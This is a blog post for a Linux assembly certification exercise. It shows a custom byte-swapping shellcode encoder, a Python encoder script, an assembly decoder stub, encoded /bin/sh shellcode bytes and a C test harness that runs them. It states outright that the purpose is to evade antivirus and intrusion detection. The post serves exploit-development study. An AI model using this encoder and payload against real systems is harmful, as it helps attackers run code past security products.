Custom encoding scheme in Assembly (SLAE, Assignment #4)
Category: Exploit development
Written on
The encoding and encryption notions are sometimes used interchangeably to describe a process of data transformation, while, in fact, there is a difference. The purpose of encoding is to transform data so that it can be properly consumed by a different type of system. Encoding transforms data into another format using a scheme that is publicly available and does not require a key. The purpose of encryption, on the other hand, is to transform data to keep it secret from others, so it can only be consumed by the intended recipient. Encryption usually transforms (encrypts/decrypts) data using a secret key, and the algorithm may or may not be publicly available.
I contemplated on what type of data transformation this post was going to tackle. Because there is no secret key involved and the shellcode is encrypted so it can be safely consumed by the decoding stub I decided that it would be proper to call it an encoding scheme.
The purpose of creating a custom encoding scheme in exploit development craft is to evade antiviruses and intrusion detection systems. When crafting one, keep in mind that its purpose is to fool, more often than not, signature-based software, not an intelligent live person who dedicated his life to breaking encryption algorithms. So it doesn't have to be too complicated.
To apply the encoding scheme to a shellcode one usually creates a separate encoder and a decoding stub, which becomes a part of a new shellcode and is used to decode the main encoded payload before transferring the execution flow to it.
Before describing the encoding scheme I came up with, let's first create a shellcode to work with. I will use the shell-starting shellcode:
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp ; put string address into ebx
xor ecx, ecx ; args
xor edx, edx ; env vars
mov al, 11
int 80h
nasm -f elf stacksh.asm && ld stacksh.o -o stacksh && ./stacksh
scdump stacksh
Output from the last command (formatted to fit the screen):
Length: 23
Payload: "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9"
"\x31\xd2\xb0\x0b\xcd\x80"
The encoding scheme itself is super simple. It just exchanges position of two adjacent bytes. For it to work correctly, the shellcode length must be a multiple of 2. So, if it is not, the encoder appends a no-operation \x90
byte to satisfy the requirement. The encoder implementation in Python follows:
#!/usr/bin/env python
# Author: Oleg Mitrofanov (reider-roque) 2015
from itertools import cycle
import os.path
import sys
def hexlify(data):
return "".join("\\x{:02x}".format(ord(c)) for c in data)
def hexlify_nasm(data):
return "".join("0x{:02x},".format(ord(c)) for c in data)[:-1]
def unhexlify(data):
return "".join([chr(int(num, 16)) for num in data[2:].split("\\x")])
script_name = os.path.basename(__file__)
if len(sys.argv) != 2:
print("Error: invalid number of arguments")
print("Usage:\n\t{} SHELLCODE".format(script_name))
print("Example:\n\t{} '\\aa\\bb\\cc\\dd'".format(script_name))
sys.exit(1)
cleartext = unhexlify(sys.argv[1])
if len(cleartext) % 2 != 0:
cleartext += chr(0x90)
encrypted = ''
for i in range(0, len(cleartext), 2):
encrypted += cleartext[i+1] + cleartext[i]
print('ENCRYPTED OUTPUT:')
print('Standard: {}'.format(hexlify(encrypted)))
print('NASM: {}'.format(hexlify_nasm(encrypted)))
Let's encode the main payload:
./xchgencoder "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
Output (formatted to fit the screen):
ENCRYPTED OUTPUT:
Standard: \xc0\x31\x68\x50\x2f\x6e\x68\x73\x2f\x68\x62\x2f\x89\x69\x31\xe3\x31
\xc9\xb0\xd2\xcd\x0b\x90\x80
NASM: 0xc0,0x31,0x68,0x50,0x2f,0x6e,0x68,0x73,0x2f,0x68,0x62,0x2f,0x89,0x69,
0x31,0xe3,0x31,0xc9,0xb0,0xd2,0xcd,0x0b,0x90,0x80
After the encoded payload was ready all I needed to do was write the decoder stub in Assembly. The decoding stub first decodes the main payload and then jumps the execution to where the payload begins:
section .text
global _start
_start:
jmp .data
.code:
pop esi ; Point ESI to the beginning of the shellcode
push shellcode_len ; Put (shellcode length)/2 into ECX
pop ecx
xor eax, eax
.decrypt:
lodsw ; load two shellcode bytes into EAX
mov [esi-1], al ; and switch them
shr eax, 8
mov [esi-2], al
loop .decrypt
jmp shellcode
.data:
call .code
shellcode: db 0xc0,0x31,0x68,0x50,0x2f,0x6e,0x68,0x73,0x2f,0x68,0x62,0x2f
sc_continued: db 0x89,0x69,0x31,0xe3,0x31,0xc9,0xb0,0xd2,0xcd,0x0b,0x90,0x80
shellcode_len: equ ($-shellcode)/2
In the above code to make the long shellcode fit the screen and keep the code executable (in case you are copy-pasting), I divided it into two parts with the second titled sc_continued. In the actual source code it is just one long line of comma separated bytes titled shellcode.
It's time to build another binary and extract the resulting shellcode:
nasm -f elf xchgdecoder.asm && ld -o xchgdecoder xchgdecoder.o
scdump xchgdecoder
Output:
Length: 52
Payload: "\xeb\x15\x5e\x6a\x0c\x59\x31\xc0\x66\xad\x88\x46\xff\xc1\xe8\x08\x88"
"\x46\xfe\xe2\xf3\xeb\x05\xe8\xe6\xff\xff\xff\xc0\x31\x68\x50\x2f\x6e\x68\x73"
"\x2f\x68\x62\x2f\x89\x69\x31\xe3\x31\xc9\xb0\xd2\xcd\x0b\x90\x80"
Remember that if you try to run the ./xchgdecoder
by itself you'll get segmentation fault as soon as your stub decoder tries to overwrite the first byte of the encrypted payload. Overwriting executable code of the .text section is prohibited by design and you can do nothing about it.
To test that the whole encoding business is actually working we'll need the help of a C language. Here is the source code that tests our shellcode:
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = "\xeb\x15\x5e\x6a\x0c\x59\x31\xc0\x66\xad\x88\x46\xff"
"\xc1\xe8\x08\x88\x46\xfe\xe2\xf3\xeb\x05\xe8\xe6\xff\xff\xff\xc0\x31\x68\x50\x2f"
"\x6e\x68\x73\x2f\x68\x62\x2f\x89\x69\x31\xe3\x31\xc9\xb0\xd2\xcd\x0b\x90\x80";
int main(void)
{
printf("Shellcode length: %d\n", strlen(shellcode));
(*(void(*)(void))shellcode)();
return 0;
}
And that's how we build a binary out of it and run the result:
gcc -fno-stack-protector -z execstack -o scframe scframe.c
./scframe
This blog post was created to fulfill the requirements of the SecurityTube Linux Assembly Expert certification. Student id: SLAE-685.
The source files created while completing the assignment can be found in my GitHub repository.